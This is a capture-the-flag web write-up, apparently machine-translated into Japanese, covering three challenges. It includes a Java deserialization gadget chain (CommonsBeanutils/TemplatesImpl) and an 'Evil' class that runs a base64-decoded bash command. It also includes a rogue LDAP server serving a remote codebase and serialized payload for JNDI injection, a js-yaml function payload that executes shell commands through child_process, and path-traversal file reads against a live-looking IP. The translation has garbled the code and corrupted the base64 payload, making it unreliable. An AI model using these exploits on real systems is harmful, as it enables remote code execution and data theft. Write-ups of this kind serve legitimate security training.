web
ai_java
最初に添付ファイルアカウントを介してアカウント番号を取得する
Base64またはJSFuckを介してJSとCのプロンプトを取得できます。 JSを監査すると、C機能を確認して実行できます。 GitHubプロジェクトアドレスを入手してください
送信履歴を見つけるソースコードを見つけました
監査ソースコードは、承認なしにspring – bootが存在する可能性があることを発見しました
FastJsonの解析は、管理者のページの下にある/post_message/interfaceに存在します
特定のバージョンを確認して、LADPを直接攻撃することは不可能であることがわかります。依存関係を確認してください
ディスカバリーはシロを紹介しました。 SerializedData + LDAP攻撃を使用します。シェルを跳ね返すための依存性CB
パブリッククラスCB {
public static void setFieldValue(オブジェクトOBJ、文字列フィールド名、オブジェクト
t値)スロー例外{
フィールドフィールド=obj.getClass()。getDeclaredField(FieldName);
field.setAccessible(true);
field.set(obj、value);
}
public static Comparator GetValue(オブジェクトインスタンス)がNosuchfielを投げます
DEXCEPTION、ILLEGALACCESSEXCEPTION {
クラス? clazz=instance.getClass();
//プライベート変数のフィールドオブジェクトを取得します
Field Privatefield=clazz.getDeclaredfield( 'instance');
//プライベート変数のアクセス権限を設定します
privatefield.setAccessible(true);
//プライベート変数の値を取得します
オブジェクト値=privatefield.get(instance);
return(Comparator)Value;
}
public static byte [] getPayload()スロー例外{
classpool pool=classpool.getDefault();
ctclass clazz=pool.get(veol.class.getname());
byte [] code=clazz.tobytecode();
templatesimpl obj=new TemplatesImpl();
setFieldValue(obj、 '_bytecodes'、new byte [] [] {code});
SetFieldValue(obj、 '_name'、 'tvt');
setFieldValue(obj、 '_tfactory'、new TransformerFactoryImpl());
最終的なbeancomparator Comparator=new BeanComparator(null、getva
lue(new Headers()));
キューキュー=新しい優先度(2、コンパレータ);
queue.add( '1');
queue.add( '1');
SetFieldValue(Comparator、 'Property'、 'outputProperties');
setFieldValue(queue、 'queue'、new Object [] {obj、obj});
bytearrayoutputStream barr=new bytearrayoutputStream();
ObjectOutputStream OOS=new objectOutputStream(barr);
oos.writeobject(queue);
oos.close();
byte [] bytearray=barr.tobytearray();
string base64EncodedData=base64.getEncoder()。encodetostring(by
Tearray);
System.out.println(base64encodedData);
bytearrayを返します。
}
}
パブリッククラスの悪は抽象的なトランスレットを拡張します{
public void transform(dom var1、serializationhandler [] var2)スロー
transletexception {
}
public void transform(dom var1、dtmaxisiterator var2、serializationh
Andler var3)transletexceptionをスローする{
}
public static void main(string [] args)スロー例外{
runtime.getRuntime()。exec( 'bash -c {echo、5l2g5ooz6lwj5lua5lmi44cc5yaz6ieq5bex555qe5zg95luk} | {base64、-d} | {bash、-i}');
}
Public Evil()Throws Exception {
runtime.getRuntime()。exec( 'bash -c {echo、5l2g5ooz6lwj5lua5lmi44cc5yaz6ieq5bex555qe5zg95luk} | {base64、-d} | {bash、-i}');
}
}
パブリッククラスldapserialserver {
private static final string ldap_base='dc=example、dc=com';
public static void main(string [] tmp_args){
string [] args=new String [] {'http://127.0.0.1:8000/#邪悪なクラス'};
int port=7777;
試す {
InmeMoryDirectoryServerConfig config=new InmeMoryDirectory
serverconfig(ldap_base);
config.setlistenerconfigs(new inmemorylistenerconfig(
「聞く」、//$ non-nls-1 $
inetaddress.getByname( '0.0.0.0')、//$ non-nls-1 $
ポート、
ServersocketFactory.getDefault()、
socketfactory.getDefault()、
(sslsocketfactory)sslsocketfactory.getDefault()));
config.addinmemoryOperationInterceptor(new OperionsIntercep
tor(new URL(args [0])));
InmemoryDirectoryServer DS=new InmemoryDirectoryServer(con
イチジク);
System.out.println( '0.0.0.03360' +ポートで聞く); //$ non-n
LS-1 $
ds.startlistening();
}
catch(例外e){
e.printstacktrace();
}
}
Private Static Class OperationEnterceptorは、Inmemoryoperationiを拡張します
nterceptor {
プライベートURLコードベース。
Pulily OperysInterceptor(URL CB){
this.codebase=cb;
}
@オーバーライド
public void processSearchResult(inmemoryInterceptedSearchResul
結果の結果){
string base=result.getRequest()。getBasedN();
エントリe=new entry(base);
試す {
sendResult(result、base、e);
}
catch(例外E1){
e1.printstacktrace();
}
}
保護されたvoid sendResult(inmemoryinterceptedsearchResult resu
LT、文字列ベース、エントリe)例外をスローする{
system.out.println( '' + base +のLDAP参照結果を送信します
「CBガジェットを返します」);
e.Addattribute( 'Javaclassname'、 'Deserpayload'); //$ non-nls-
1 $
string base64EncodedData='ro0abxnyabdqyxzhlnv0awwuhjpb3jp
dhlrdwv1zztamlt7p4kxawacsqaec2l6zuwacmnvbxbhcmf0b3j0abzmamf2ys91dglsl0n
vbxbhcmf0b3i7ehaaaaacc3iak29yzy5hcgfjaguuy29tbw9ucy5izwfudxrpbhmuqmvhbk
nvbxbhcmf0b3ljoyjqcykksaiaakwacmnvbxbhcmf0b3jxah4aauwachbyb3blcnr5daast
GPHDMEVBGFUZY9TDHJPBMC7EHBZCGA/Y29TLNN1BI54BWWUAW50ZXJUYWWUD3MUDHJHBNNW
b3j0lkhlywrlcnmksw5zzw5zaxrpdmvdb21wyxjhdg9yyieexdpxa/ecaab4chqaeg91dhb
1dfbyb3blcnrpzxn3baaaaanzcga6y29tlnn1bi5vcmcuyxbhy2hllnhhbgfulmludgvybm
fslnhzbhrjlnryyxguvgvtcgxhdgvzsw1wbalxt8furkszawagsqanx2luzgvude51bwjlc
KKADL90CMFUC2XLDELUZGV4WWAKX2J5DGVJBJB2RLC3QAA1TBQLSABL9JBGFZC3QAELTMAMF2
ys9syw5nl0nsyxnzo0wabv9uyw1lcqb+aarmabffb3v0chv0uhjvcgvydgllc3qafkxqyxz
hl3v0awwvuhjvcgvydgllczt4caaaad /////dxiaa1tbqkv9grvnz9s3agaaeaaabdx
iaaltcrpmx+ayivoacaab4caaabink/rq+aaaana1cgaiacmiacqkaciajqoajgancgaha
CGHACKHACOBAAL0CMFUC2ZVCM0BAHIOTGNVBS9ZDW4VB3JNL2FWYWNOZS94YWXHBI9PBNRL
CM5HBC94C2X0Y9ET007W0XJB20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCML
hbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybaardb2rlaqaptgluzu51bwjlclrhym
xlaqastg9jywxwyxjpywjszvrhymxlaqaedghpcweabkxldmlsoweabhzhcjebac1my29tl
3N1BI9VCMCVYXBHY2HLL3HBGFUL2LUDGVYBMFSL3HZBHRJL0RPTTSBAAR2YXIYAQBCW0XJ
B20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCMMLHBGL6ZIVU2VYAWFSAXPHDGL
vbkhbmrszxi7aqakrxhjzxb0aw9ucwcakweapihmy29tl3n1bi9vcmcvyxbhy2hll3hhbg
ful2ludgvybmfsl3hzbhrjl0rptttmy29tl3n1bi9vcmcvyxbhy2hll3htbc9pbnrlcm5hb
C9KDG0VRFRNQXHPC0L0ZXJHDG9YO0XJB20VC3VUL9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLC
mlhbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybadvmy29tl3n1bi9vcmcvyxbhy2hl
L3HTBC9PBNRLCM5HBC9KDG0VRFRNQXHPC0L0ZXJHDG9YOWEABHZHCJMBAEFMY29TL3N1BI9
vcmcvyxbhy2hll3htbc9pbnrlcm5hbc9zzxjpywxpemvyl1nlcmmlhbgl6yxrpb25iyw5kbg
vyoweabg1haw4babyow0xqyxzhl2xhbmcvu3ryaw5noylwaqaeyxjncweae1tmamf2ys9sy
w5nl1n0cmluzzshacwbaay8ay8aw5pdd4baamokvaypaptb3vyy2vgawxlaqajzxzzpbc5qyxzh
bwatdaauac8bagfiyxnoic1jihtly2hvlfltrnphq0f0yvnbk0ppowtawfl2zedod0x6utn
makv4txk0ee9ua3vnvfe0thpnne9ez2dnrdrttve9px18e2jhc2u2ncwtzh18e2jhc2gslw
l9daawadehadimadmanawahgafazxzzpbaeaqgnvbs9zdw4v3jnl2fwywnozs94ywxhb
i9pbnrlcm5hbc94c2x0y9ydw50aw1ll0fic3ryywn0vhjhbnnszxqbadljb20vc3vul29y
zy9hcgfjaguvegfsyw4vaw50zxjuywwvehhnsdgmvhjhbnnszxrfegnlchrpb24babnqyxz
hl2xhbmcvrxhjzxb0aw9uaqaramf2ys9syw5nl1j1bnrpbwubaapnzxrsdw50aw1laqavkc
lmamf2ys9syw5nl1j1bnrpbwu7aqaezxhlyweajyhmamf2ys9syw5nl1n0cmluzzsptgphd
mevbgfuzy9qcm9jzxnzoweaa0ndngeacmdldfhewxvywqbaaqokvtcaceabgahaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
AAEACAAJAAIACgAAAD8AAAAAAAAAAAAAAAAAAAGAAEAAAAALAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0
adgaaaaaaaaqapabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaCgaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
AAAbEAAAACAAsAAAAGAAEAAAAAAOAAWAAAAQAAQAAAABAA0ADgAAAAAAAAAQAPABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE
QAWAAIAAAABABcAGAADABMAAAAEAFAAJABkAGgACAAoAAABAAAIAQAAAA64AAESArYA
A1E4AARXSQAAAAIAACWAAAA4AAWAABEACQASAA0AEWAMAAABAAADGABABWAAAAAAAA
abaabab0aaqaeab8aagakaaaaaaaaaaaaaaaaaaaaokrcabbgaarictgadv7eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
maaaauaaqafqanabyadaaaaawaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaaqaadayaaaaaaaaaaaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaada
An0dnrwdweaeheafganea==';
e.Addattribute( 'JavaserializedData'、base64.getDecoder()。12月
ode(base64encodedData));
result.sendsearchentry(e);
result.setResult(new ldapresult(0、resultCode.success));
}
}
}
CBを使用してBase64をエンコードし、直接呼び出さないでください。 JARパッケージの場合、内部APIエラーを防ぎます。ローカルでは、CVE-2022-22978を使用してアイデンティティ認証をバイパスし、FastJSONのキャッシュバイパスを使用し、JNDIインジェクションを実装します
開始。
信号
まず、この質問は、他のファイル形式をyaml形式に変換し、yaml.load()がJSオブジェクトとしてロードされるためです。 GithubでJS-Yamlドキュメントの説明を見つけ、オブジェクトを解析する方法、公式Webサイトにも例を挙げてください。ここでは、それが何を解析できるかを直接調べます。
発見可能な分析方法
JS-YAMLバージョンは3.14.1ですが、新しいバージョンの提出と比較して
https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c
これは、デフォルトの危険モードの最後のバージョンであり、タグを使用して任意のJS関数を構築できます。 js/function
次に、テンプレートレンダリング場所で、オブジェクトのトストリング方法が自動的に呼び出されます
したがって、次のペイロードとしてファイルyamlファイルコンテンツをアップロードするだけです
'name' : {toString: js /function 'function(){flag=mainmodule.require(' child_process ')。execsync(' cat /fla*')。tostring();フラグを返します;} '}
swagger docs
1。インターフェイスドキュメントを読んで、ウェブサイト機能を把握する
2.ユーザーを登録します
http://47.108.206.43:40476/API-Base/V0/Register
{'username':'admin'、 'password':'admin'}
3。ログインします
http://47.108.206.43:40476/api-base/v0/login
{'username':'admin'、 'password':'admin'}
4.任意のファイルを読み取ります
テストでは、ファイルの読み取りが/api-base/v0/searchインターフェイスに存在することがわかりました
プロセスを読んでください
http://47.108.206.43:40476/api-base/v0/search?file=./././././proc/1/cmdlineType=テキスト
ソースコードの場所を読んでください
http://47.108.206.43:40476/api-base/v0/search?file=././././app/run.shtype=text
ソースコードを読んでください
5。コード監査
/api-base/v0/searchにはrender_template_string()があることがわかりました。これにより、STIがRCEを引き起こす可能性があり、レンダリングコンテンツのみを制御する必要があります。
UAPATE()関数にはプロトタイプチェーンに似た汚染があり、環境を変更するために使用できます。
Recommended Comments